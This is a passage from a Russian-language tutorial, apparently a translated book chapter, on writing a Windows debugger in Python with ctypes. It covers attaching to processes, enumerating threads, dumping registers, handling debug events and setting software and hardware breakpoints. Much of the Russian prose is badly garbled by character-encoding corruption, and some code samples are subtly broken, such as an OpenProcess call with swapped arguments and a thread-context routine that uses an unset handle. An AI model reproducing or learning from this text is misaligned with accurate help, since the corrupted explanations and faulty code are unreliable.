process_information.dwProcessId


else:
print "[*] Error with error code %d." % kernel32.GetLastErro
r()

Сейчас мы напишем небольшой тест , что бы убедиться , что k_ работает так ,
как было запланироZgh . Назоbl_ этот файл my_test.py и убедитесь в том ,
что он находится в той же папке , что и остальные файлы .

Example 1: my_test.py
import my_debugger

debugger = my_debugger.debugger()

debugger.load("C:\\WINDOWS\\system32\\calc.exe")

Если u uihegbl_ этот файл на Python’e, либо с помощью командной
строки , либо с помощью Zr_c IDE, то произойдет запуск заданного
процесса (calc.exe), затем будет uеден отчет , с указанием идентификатора
запущенного процесса (PID), после чего последует за_jr_gb_ работы
скрипта . Если u используете ur_mdZaZgguc пример , то u не уb^bl_
графической оболочки калькулятора. Причина, по которой u не уb^b
те
графический интерфейс , заключается в том , что процесс не прорисоuается
на экране , поскольку он ожидает команды от отладчика для продолжения
сh_]h uiheg_gby . У нас еще не создана логика для этого, но она скоро
пояblky ! Сейчас u знаете , как запустить процесс готоuc для отладки .
Пришло j_fy сZj]Zgblv какой -нибудь код , который присоединит (attach)

отладчик к запущенному процессу .

Для того, что бы подготовить процесс, к присоединению , нужно получить
дескриптор процесса . Большинстh функций , которые мы будем
использоZlv , требуют дейстbl_evgh]h дескриптора процесса , помимо этого
это позhey_l нам узнать , можем ли мы получить доступ к процессу , прежде
чем мы попытаемся его отладить . Это делается с помощью фукнции
OpenProcess() [4]
, которая экспортируется из kernel32.dll и имеет следующий
прототип :
HANDLE WINAPI OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle
DWORD dwProcessId
);

Параметр dwDesiredAccess указыZ_l , какой тип прав доступа , мы
запрашиваем для объекта процесса , на который хотим получить дескриптор.
Для того что бы uihegblv отладку , нам нужно устаноblv его в
PROCESS_ALL_ACCESS . Параметр bInheritHandle k_]^Z, в нашем
случае , устанаeb\Z_lky в False , а в параметре dwProcessId задается PID
процесса , на который мы хотим получить дескриптор. Если функция
uihegy_lky успешно , то она haращает дескриптор объекта процесса .

Для присоединения к процессу , испо

льзуем функцию DebugActiveProcess()
[5]
. Ее прототип u]ey^bl следующим образом :
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessId
);

Мы просто передаем ей PID процесса, к которому хотим присоединиться .
После того, как система определяет , что у нас есть соот_lklующие праZ

доступа к процессу , целеhc процесс предполагает , что присоединенный
процесс ( к отладчику ) готов обрабатыZlv отладочные события , после чего
отказыZ_lky от упраe_gby отладчиком (прим . пер . другими слоZfb
отладчик передает упраe_gb_ контролируемому процессу , т.е . процесс
продолжается uihegylvky , до hagbdghения отладочных событий).
Отладчик лоbl эти отладочные события , uauая функцию
WaitForDebugEvent() [6]
в цикле . Функция u]ey^bl следующим образом:
BOOL WINAPI WaitForDebugEvent(
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds
);

Перuc параметр это указатель на структуру DEBUG_EVENT [7]
. Эта
структура описыZ_l события отладки . Второй параметр, мы устаноbf в
INFINITE , поэтому uah\ WaitForDebugEvent() не будет haращаться до
hagbdghения события.

Для каждого события , которое отладчик перехZluает , сущестmxl
сyaZggu_ обработчики событий, которые uihegyxl некоторые типы
дейстbc прежде , чем позheblv процессу продолжить сh_ uiheg_gb_ .
После того, как обработчики закончили сhx работу , мы на_jgydZ захотим
продолжи

ть uiheg_gb_ процесса. Это осущестey_lky с помощью функции
ContinueDebugEvent() [8]
, которая u]ey^bl следующим образом:
BOOL WINAPI ContinueDebugEvent(
DWORD dwProcessId,
DWORD dwThreadId,
DWORD dwContinueStatus
);

Параметры dwProcessId и dwThreadId – это параметры полей в структуре
DEBUG_EVENT , которая инициализируется , когда отладчик перехZluает
событие отладки . Параметр dwContinueStatus сигнализирует процессу либо
продолжать uiheg_gb_ (DBG_CONTINUE ), либо продолжать обработку
исключений ( DBG_EXCEPTION_ NOT_HANDLED).

Единст_ggh_ , что нам остается реализовать – это отсоединение (detach) от
процесса . Делается это с помощью uahа функции
DebugActiveProcessStop() [9]
, которая принимает PID процесса , от которого
u хотите отсоединиться , в качест_ единст_ggh]h параметра .

ДаZcl_ соберем k_ ur_ перечисленное в месте и расширим наш класс , в
файле my_debugger , предостаeyy ему hafh`ghklv открыZlv и получать
дескриптор процесса . Заключительной деталью реализации будет создание

осноgh]h цикла для обработки отладочных событий. Откройте
my_debugger.py и едите следующий код .
ВНИМАНИЕ: Все необходимые структуры , объединения и константы
были определены в файле my_debugger_defines.py, исходный код которого
доступен по адресу http://www.nostarch.com/ghpython.htm
. Скачайте этот
файл сейчас и перезапишите Zrm текущую копию . В дальнейшем мы не
будем рассматриZlv структуры, объединения и константы, поскольку u
должны хорошо себя чуklоZlv с ними уже сейчас .

Example 2: my_debugger.py
from ctypes import *
from my_debugger_defines import *

import sys
import time
kernel32 = windll.kernel32

class debugger():

def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False

def load(self,path_to_exe):
...
print "[*] We have successfully launched the process!"
print "[*] The Process ID I have is: %d" %
process_information.dwProcessId


# Obtain a valid handle to the newly created process
# and store it for future access
self.h_process = self.open_process(process_information.dwProces
sId)

...

def open_process(self,pid):

h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,pid,False)

return h_process

def attach(self,pid):

self.h_process = self.open_process(pid)

# We attempt to attach to the process
# if this fails we exit the call

if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid = int(pid)
else:
print "[*] Unable to attach to the process."

def detach(self):

if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True
else:
print "There was an error"
return False

Теперь даZcl_ , модифицируем наш тестоuc файл , добаb\ в него
тестироZgb_ ноhc функциональности , которую мы реализоZeb ur_ .

Example 2: my_test.py
import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")

debugger.attach(int(pid))

debugger.detach()

Для про_jdb работоспособности этого теста uihegbl_ следующие шаги:
1. Запустите калькулятор . Для этого перейдите в " Пуск => Выполнить
=> Все программы => Стандартные => Калькулятор".
2. Клацните праhc кнопкой мыши на панели инструментов Windows и
u[_jbl_ Диспетчер задач из контекстного меню.
3. Выберите deZ^dm Процессы .
4. Если u не b^bl_ колонки PID на дисплее , u[_jbl_ "Вид =>
Выбрать столбцы".
5. Убедитесь , что устаноe_g флажок напротив Ид

ентификатор
процесса (PID) и нажмите OK .
6. Найдите PID соот_lklующий calc.exe .
7. Выполните скрипт my_test.py и едите PID, который u нашли на
предыдущем шаге .
8. Сценарий uедет сообщение , после чего за_jrbl сhx работу .
9. Теперь u в состоянии aZbfh^_cklоZlv с запущенным
калькулятором .

Сейчас , когда мы объяснили осноu получения дескриптора процесса ,
создание отлажиZ_fh]h процесса и присоединение к запущенному процессу ,
мы готов

ы погрузиться в более сложные особенности , которые наш отладчик
будет поддержиZlv .

3.2 Получение состояния регистров процессора

Отладчик должен уметь захZluать состояние регистров процессора в
любое j_fy и в любой заданной точке . Это дает нам hafh`ghklv
определить состояние стека, при hagbdghении исключения ,
местонахождение указателя инструкций и другую полезную информацию .
Для этого, в начале , мы должны получить дескриптор uihegy_fh]h в
данный момент потока , в отлажиZ_fhc программе , что достигает
ся за счет
использоZgby функции OpenThread() [10]
. Она u]ey^bl следующим
образом .
HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwThreadId
);

Она u]ey^bl так же , как и функция OpenProcess() , за тем лишь
исключением , что f_klh идентификатора процесса (PID) передается
идентификатор потока (TID).

Нам нужно получить список k_o потоков , которые uihegyxlky gmljb
процесса , затем u[jZlv интересующий нас и получить правильный
дескриптор на него с помощью OpenThread() . ДаZcl_ рассмотрим , как
перечислить потоки в системе .

3.2.1 Пер

ечисление потоков

Для того что бы получить состояние регистра из процесса , мы должны уметь
перечислять k_ работающие потоки внутри процесса . Потоки – это то , что
фактически uihegy_lky в процессе . Даже, если приложение не
многопоточное , оно содержит , по крайней мере, один поток – глаguc поток .
Мы можем перечислять потоки , используя очень мощную функцию
CreateToolhelp32Snapshot() [11]
, которая экспортируется из kernel32.dll. Эта
функция позhey_l получать : список процессов, потоков и загруженных
модулей (DLLs), в нутрии процессов , а так же “кучу ” (heap list), которую
имеет процесс . Прототип функции u]ey^bl следующим образом :
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);

Параметр dwFlags указыZ_l, какой тип информации должна собрать
функция (потоки , процессы , модули или кучи ). Мы устаноbf его в
TH32CS_SNAPTHREAD , равный 0x00000004 , что означает , что мы хотим

собрать k_ потоки , зарегистрироZggu_ в текущем снимке (snaphot).
Параметр th32ProcessID это просто PID процесса , для которого мы хотим
сделать снимок , но он используется только для TH32CS_SNAPMODULE,
TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST и
TH32CS_SNAPALL режимов . Поэтому , определение того , принадлежит ли
поток нашему процессу или нет – заbkbl от нас … Когда
CreateToolhelp32Snapshot() uihegy_lky успешно , она haращает
дескриптор на объект снимка , который мы используем в последующих
uahах , для сбора дополнительной информации.

Как только у нас есть список потоков из снимка , мы можем начать
перечислять их . Для того, что бы начать перечисление , ис

пользуем функцию
Thread32First() [12]
, которая u]ey^bl следующим образом :
BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);

Параметр hSnapshot принимает открытый дескриптор , haращенный из
CreateToolhelp32Snapshot() , а параметр lpte является указателем на
структуру THREADENTRY32 [13]
. Эта структура заполняется после
успешного uahа функции Thread32First() и содержит Z`gmx
информацию для перh]h найденного потока . Структура определяется
следующим образом :
typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID;
DWORD th32OwnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
};

В этой структуре есть три поля, которые нам интересны : dwSize,
th32ThreadID и th32OwnerProcessID . Поле dwSize должно быть
инициализироZgh до uahа функции Thread32First() . Для этого просто
устаноbl_ его значение – раgh_ размеру самой структуры . Поле
th32ThreadID это TID для потока , который уже рассматриZeky. Мы можем
использоZlv этот идентификатор в качест_ параметра dwThreadId ,
обсуждаr_]hky ранее в функции OpenThread() . Поле th32Ow
nerProcessID
это PID который идентифицирует процесс , под которым был запущен поток .
Для того что определить k_ потоки , принадлежащие процессу , нам нужно
сраgblv значение каждого th32OwnerProcessID с PID процесса , к которому
мы присоединились (attach) или создали и если есть соiZ^_gb_ – мы знаем ,

что этим потоком eZ^__l наша отлажиZ_fZy программа . Как только мы
собрали информацию о перhf потоке , нам нужно перейти к следующему
потоку в снимке (snaphot) uaав функцию Thread32Next() . Она принимает
те же параметры , что и Thread32First(), которую мы уже рассмотрели . Все
что нам нужно сделать это продолжать uauать Thread32Next() в цикле , до
тех пор , пока в сни
мке не останется ни одного потока .

3.2.2 Собираем k_ f_kl_

Теперь , когда мы можем получить дескриптор потока, остается последний
шаг , который заключается в получение k_o регистров . Это можно сделать с
помощью uahа GetThreadContext() [14]
. Помимо этого , мы можем
использоZlv функцию SetThreadContext() [15]
, что бы изменить значения,
сразу после того, как мы получили допустимую запись контекста.
BOOL WINAPI GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);

Параметр hThread – это дескриптор, haращенный из функции
OpenThread() , а параметр lpContext – это указатель на структуру
CONTEXT , которая содержит значения всех регистров . Структура
CONTEXT Z`gZ для понимания . Она определяется следующим образом :
typedef struct CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;

DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
};

Как u можете b^_lv , в этот список dexq_gu k_ регистры, dexqZy
отладочные и сегментные регистры. Мы будем полагаться на эту структуру
на протяжении оставшейся части нашего упражнения , посys_ggh]h
созданию отладчика , поэтому убедитесь , что u знакомы с ней .

ДаZcl_ _jg_fky к нашему старому другу my_debugger.py и немного
расширим его , добаb\ перечисление потоков и изe_q_gb_ регистров .

Example 3: my_debugger.py
class debugger():

...
def open_thread (self, thread_id):

h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_
id)

if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False

def enumerate_threads(self):

thread_entry = THREADENTRY32()
thread_list = []
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,

self.pid)


if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread_entry.dwSize = sizeof(thread_entry)

success = kernel32.Thread32First(snapshot, byref(thread_en
try))

while success:
if thread_entry.th32OwnerProcessID == self.pid:
thread_list.append(thread_entry.th32ThreadID)

success = kernel32.Thread32Next(snapshot,
byref(thread_entry))


kernel32.CloseHandle(snapshot)
return thread_list
else:
return False

def get_thread_context (self, thread_id=None,h_thread=None):

context = CONTEXT()

context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS

# Obtain a handle to the thread
if h_thread is None:
self.h_thread = self.open_thread(thread_id)

if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
return False

Теперь , когда мы расширили дебаггер еще больше, даZcl_ обноbf
тестоuc скрипт , что бы опробоZlv ноu_ hafh`ghklb .

Example 3: my_test.py
import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")

debugger.attach(int(pid))

list = debugger.enumerate_threads()

# For each thread in the list we want to
# grab the value of each of the registers

for thread in list:
thread_context = debugger.get_thread_context(thread)

# Now let's output the contents of some of the registers
print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: 0x%08x" % thread_context.Eip
print "[**] ESP: 0x%08x" % thread_context.Esp
print "[**] EBP: 0x%08x" % thread_context.Ebp
print "[**] EAX: 0x%08x" % thread_context.Eax
print "[**] EBX: 0x%08x" % thread_context.Ebx
print "[**] ECX: 0x%08x" % thread_context.Ecx
print "[**] EDX: 0x%08x" % thread_context.Edx
print "[*] END DUMP"

debugger.detach()

Когда , на этот раз , u запустите тест , u уb^_lv следующий uод,
показанный в Листинге 3-1.

Листинг 3-1: Значение регистров процессора для каждого
uihegyxs_]hky потока
Enter the PID of the process to attach to: 4028
[>] Dumping registers for thread ID: 0x00000550
[**] EIP: 0x7c90eb94

[**] ESP: 0x0007fde0
[**] EBP: 0x0007fdfc
[**] EAX: 0x006ee208
[**] EBX: 0x00000000
[**] ECX: 0x0007fdd8
[**] EDX: 0x7c90eb94
[>] END DUMP
[>] Dumping registers for thread ID: 0x000005c0
[**] EIP: 0x7c95077b
[**] ESP: 0x0094fff8
[**] EBP: 0x00000000
[**] EAX: 0x00000000
[**] EBX: 0x00000001
[**] ECX: 0x00000002
[**] EDX: 0x00000003
[>] END DUMP
[>] Finished debugging. Exiting...

Не плохо, пра^Z? Сейчас у нас есть hafh`ghklv запрашиZlv состояние
k_o регистров процессора , kydbc раз, когда мы этого пожелаем . Опробуйте
скрипт на нескольких процессах и посмотрите , какие результаты u
получите ! На данный момент , у нас реализовано ядро нашего отладчика ,
поэтому , пришло j_fy добаblv несколько базовых отладочных
обработчиков и точек останоZ (breakpoints).

3.3 Реализация отладочных обработчиков со

бытий

Для того, что бы наш отладчик принимал , определенные события , нужно
устаноblv обработчики, для каждого отладочного события , которое может
hagbdgmlv . Если _jg_fky к функции WaitForDebugEvent() , то мы знаем,
что она haращает заполненную структуру DEBUG_EVENT , kydbc раз,
когда происходить отладочное событие . Мы будем использоZlv
информацию , содержащуюся в этой структуре , что бы определить , как
обрабатыZlv отладочные события . Структура DEBUG_EVENT
определяется следующим образом :
typedef struct DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
}u;
};

В этой структуре много полезной информации . Поле dwDebugEventCode
особенно интересно , так как оно сообщает тип события перехZq_ggh]h в
функции WaitForDebugEvent() . Помимо этого оно сообщает тип и значение
для объединения (union) “u”. Различные отладочные события и их коды
показаны в Таблице 3-1.

Таблица 3-1: Отладочные события
Про_jyy значение поля dwDebugEventCode , можно сопостаblv его с
полученной структурой , определив значение , хранящееся в нем (поле ), как
определенное значение , хранящееся в объединении "u". ДаZcl_ изменим
наш отладочный цикл, что бы отобразить сработаrb_ события отладки .
Используя эту информацию , мы можем b^_lv события , в общем потоке ,
после создания или присоединения к процессу . Обноbf наши скрипты
my_debugger.py и my_test.py .

Example 4: my_debugger.py
...
class debugger():

def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
...

def run(self):

# Now we have to poll the debuggee for
# debugging events
while self.debugger_active == True:
self.get_debug_event()

def get_debug_event(self):

debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):

# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadId)
self.context = self.get_thread_context(self.h_thread)

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadId)


kernel32.ContinueDebugEvent( debug_event.dwProcessId,
debug_event.dwThreadId, continue_status )


Example 4: my_test.py
import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")

debugger.attach(int(pid))

debugger.run()

debugger.detach()

Если мы сноZ используем нашего старого друга calc.exe , то uод тестоh]h
скрипта будет u]ey^_lv следующим образом Листинг 3-2.

Листинг 3-2: Коды событий при присоединении к процессу calc.exe
Enter the PID of the process to attach to: 2700
Event Code: 3 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 6 Thread ID: 3976
Event Code: 2 Thread ID: 3912
Event Code: 1 Thread ID: 3912
Event Code: 4 Thread ID: 3912

Осноuаясь на uоде нашего скрипта – b^gh , что событие
CREATE_PROCESS_EVENT (0x3) пояbehkv перuf , затем последоZeh
доhevgh много событий LOAD_DLL_DEBUG_EVENT (0x6) , после чего
сработало событие CREATE_THREAD_DEB UG_EVENT (0x2). Затем
пояbehkv следующее событие EXCEPTION_DEBUG_EVENT (0x1) ,
которое яey_lky упраey_fhc точкой останоZ Windows и позhey_l

отладчику, перед hah[ghлением uiheg_gby , изучить состояние процесса .
Последний uah\ EXIT_THREAD_DEBUG_EVENT (0x4) за_jrZ_l
uiheg_gb_ потока , с TID 3912.

События исключений особенно интересны , так как подобные исключения
могут dexqZlv: точки останоZ ; нарушения прав доступа или непраbevgh]h
разрулиZgby доступа к памяти ( т.е . попытка записать данные в память ,
предназначенную только для чтения ). Все эти события Z`gu для нас , но
даZcl_ на

чнем с перехZlZ перhc упраeyxs_c точки останоZ Windows.
Откройте my_debugger.py и klZьте следующий код.

Example 5: my_debugger.py
...
class debugger():

def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

...

def get_debug_event(self):

debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadId)

self.context = self.get_thread_context(h_thread=self.h_thre
ad)

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadId)


# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT:

# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCode

self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAddress


if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."

# If a breakpoint is detected, we call an internal
# handler.

elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint(
)
elif exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif exception == EXCEPTION_SINGLE_STEP:
print "Single Stepping."

kernel32.ContinueDebugEvent( debug_event.dwProcessId,
debug_event.dwThreadId, continue_status )

...

def exception_handler_breakpoint(self):

print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" % self.exception_address

return DBG_CONTINUE

Если теперь перезапустить тестоuc скрипт , то в его uоде u уb^bl_
обработку программных точек останоZ , uaанных исключениями . Помимо
этого мы создали заглушки для аппаратных точек останоZ
(EXCEPTION_SINGLE_STEP) и точек останоZ на память
(EXCEPTION_GUARD_PAGE) . Вооружиrbkv нашими ноufb знаниями ,
мы можем реализоZlv три разных типа точек останоZ , с корректными
обработчиками для каждой .


3.4 Всемогущий брейкпойнт

Теп

ерь когда у нас есть основной функционал отладчика , пришло j_fy
добаblv точки останоZ (breakpoints). Используя информацию из Глаu 2
,
мы реализуем : программные точки останоZ , аппаратные точки останоZ и
точки останоZ на память . Так же мы разработаем специальные обработчики
для каждого типа брейкпойнтов и покажем , как корректно hah[ghить
работу процесса после останоZ .

3.4.1 Программные брейкпойнты

Для того, что бы устаноblv программный брейкпойнт (soft breakpoint), мы
должны уметь читать и писать в память процесса. Делается это с помощью
функций ReadProcessMemory() [16]
и WriteProcessMemory() [17] . Они
имею схожие прототипы :
BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead
);

BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);

Обе функции позволяют отладчику просматриZlv и изменять память
отлажиZ_fhc программы . Параметр lpBaseAddress – это адрес , откуда u
хотите начать читать или куда u хотите начать писать данные . Параметр
lpBuffer – это указатель на данные , которые содержат либо прочитанные
данные , либо данные для записи . Параметр nSize – это общее количество
байтов , которое u хотите прочитать ил
и записать .

Использую д_ эти функции , мы можем дать hafh`ghklv нашему
отладчику , доhevgh легко , использоZlv программные точки останоZ (soft
breakpoints). ДаZcl_, модифицируем наш основной отладочный класс, для
поддержки устаноdb и обработки программных брейкпойнтов .

Example 6: my_debugger.py
...
class debugger():

def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
...

def read_process_memory(self,address,length):
data = ""
read_buf = create_string_buffer(length)
count = c_ulong(0)

if not kernel32.ReadProcessMemory(self.h_process,
address,
read_buf,
length,
byref(count)):
return False
else:
data += read_buf.raw
return data

def write_process_memory(self,address,data):

count = c_ulong(0)
length = len(data)

c_data = c_char_p(data[count.value:])

if not kernel32.WriteProcessMemory(self.h_process,
address,
c_data,
length,
byref(count)):
return False
else:
return True

def bp_set(self,address):

if not self.breakpoints.has_key(address):
try:
# store the original byte
original_byte = self.read_process_memory(address, 1)

# write the INT3 opcode
self.write_process_memory(address, "\xCC")

# register the breakpoint in our internal list
self.breakpoints[address] = (original_byte)
except:
return False
return True

Теперь , когда у нас есть поддержка программных брейкпойнтов, нам нужно
найти подходящее место для их устаноdb . Вообще, брекпойнты
устанаebаются на uahы функций любого типа; для демонстрационного
примера havf_f функцию printf() и попытаемся ее перехZlblv . Windows
debugging API – предостаey_l нам прозрачный метод определения
bjlmZevgh]h адреса , с помощью функции GetProcAddress() [18]
, которая
экспортируется из kernel32.dll. Единст_gguf , осноguf требоZgb_f , этой
функции яey_lky дескриптор модуля (на .dll или .exe файл), который
содержит интересующую нас функцию и который можно получить с
помощью функции GetModuleHandle() [19]
. Прототипы функций
GetProcAddress() и GetModuleHandle() u]ey^yl следующим образом:
FARPROC WINAPI GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);

HMODULE WINAPI GetModuleHandle(
LPCSTR lpModuleName
);

Делается это доhevgh просто : получаем дескриптор модуля, а затем ищем
адрес экспортируемой функции , которая нам нужна . ДаZcl_ добаbf
kihfh]Zl_evgmx функцию , в наш отладчик , что бы реализоZlv это. СноZ
_jg_fky скрипту my_debugger.py и добаbf следующие строки:

Example 6: my_debugger.py
...
class debugger():
...
def func_resolve(self,dll,function):

handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)

kernel32.CloseHandle(handle)

return address

Теперь даZcl_ создадим lhjhc тестоuc скрипт , который будет
использоZlv printf() в цикле . Мы определим адрес функции , а затем
устаноbf программный брейкпойнт на нее . После попадания на
брейкпойнт, мы уb^bf некоторые данные в консоли , после чего , процесс ,
продолжит uiheg_gb_ сh_]h цикла. Создайте ноuc скрипт, назZ\ его
printf_loop.py и поместите в него следующий ко
д.

Example 6: printf_loop.py
from ctypes import *
import time

msvcrt = cdll.msvcrt
counter = 0

while 1:
msvcrt.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1

Теперь даZcl_ обноbf наш перuc тестоuc файл , что бы присоединиться
к этому процессу и устаноbf брейкпойнт на printf().

Example 6: my_test.py
import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")

debugger.attach(int(pid))

printf_address = debugger.func_resolve("msvcrt.dll","printf")

print "[*] Address of printf: 0x%08x" % printf_address

debugger.bp_set(printf_address)

debugger.run()

Для того, что бы протестироZlv его , запустите printf_loop.py . Запишите PID
( можно посмотреть с помощью диспетчера задач) для процесса python.exe .
Далее , с консоли , запустите скрипт my_test.py и едите записанный PID.
После чего u должны уb^_lv следующий uод , показанный в Листинге 3-
3.

Листинг 3-3: Порядок отладочных событий для программного
брейкпойнта
Enter the PID of the process to attach to: 4048
[>] Address of printf: 0x77c4186a
[>] Setting breakpoint at: 0x77c4186a
Event Code: 3 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 6 Thread ID: 3148
Event Code: 2 Thread ID: 3620
Event Code: 1 Thread ID: 3620
[>] Exception address: 0x7c901230
[>] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148
[>] Exception address: 0x77c4186a
[>] Hit user defined breakpoint.

Мы b^bf , что функция printf() определена по адресу 0x77c4186a , поэтому
устанаebаем брейкпойнт на этот адрес . Перh_ исключение , которое
поймано , яey_lky упраeyxs_c точкой останоZ Windows, но когда
приходит lhjh_ исключение – b^gh, что адрес исключения ра_g
0x77c4186a , что соот_lklует адресу функции printf() . После обработки
брейкпойнта , процесс должен hah[ghить сhx работу . Наш отладчик
теперь поддержиZ_l программные точки останоZ , поэтому даZcl
е
перейдем к аппаратным брейкпойнтам.

3.4.2 Аппаратные брейкпойнты

Второй тип точек останоZ – это аппаратные брэйкпоинты , которые
предполагают устаноdm определенных битов в отладочных регистрах
процессора . Мы подробно рассмотрели их в Гла_ 2
, поэтому даZcl_
перейдем к деталям реализации. Самое Z`gh_ , при aZbfh^_cklии с
аппаратными брэйкпоинтами, это отслеживание какой из четырех доступных
отладочных регистров сh[h^_g для использоZgby , а какой уже занят и
используется . Мы должны быть у_j_gu , что k_]^Z используем сh[h^guc
слот , иначе у нас могут hagbdgmlv проблемы , когда брейкпойнт не
сработает , в то j
емя когда мы ожидаем этого .

ДаZcl_ начнем с перечисления k_o потоков в процессе , затем получим
запись контекста для каждого из них . Используя полученную запись
контекста , модифицируем один из регистров , между DR0 и DR3 (в
заbkbfhklb от того какой из них сh[h^_g ) для того, что бы поместить адрес
требуемого брейкпойнта . Затем зеркально отрази
м соот_lklующие биты в
регистре DR7 , для dexq_gby брейкпойнта , а так же устаноdb его типа и
длины .

После того, как мы создали подпрограмму , что бы устаноblv брейкпойнт,
следующее , что нам нужно это изменить глаguc цикл обработки
отладочных событий, чтобы мы могли праbevgh обработать исключение ,
которые ukdhqbl на аппаратном брейкпойнте . Мы знаем , аппаратная точк
а
останоZ срабатывает на INT 1 , поэтому мы просто добаbf еще один
обработчик исключений в наш отладочный цикл. ДаZcl_ начнем с
устаноdb брейкпойнта .

Example 7: my_debugger.py
...
class debugger():
def __init__(self):
self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True
self.hardware_breakpoints = {}
...
def bp_set_hw(self, address, length, condition):

# Check for a valid length value
if length not in (1, 2, 4):
return False
else:
length -= 1

# Check for a valid condition

if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):
return False

# Check for available slots
if not self.hardware_breakpoints.has_key(0):
available = 0
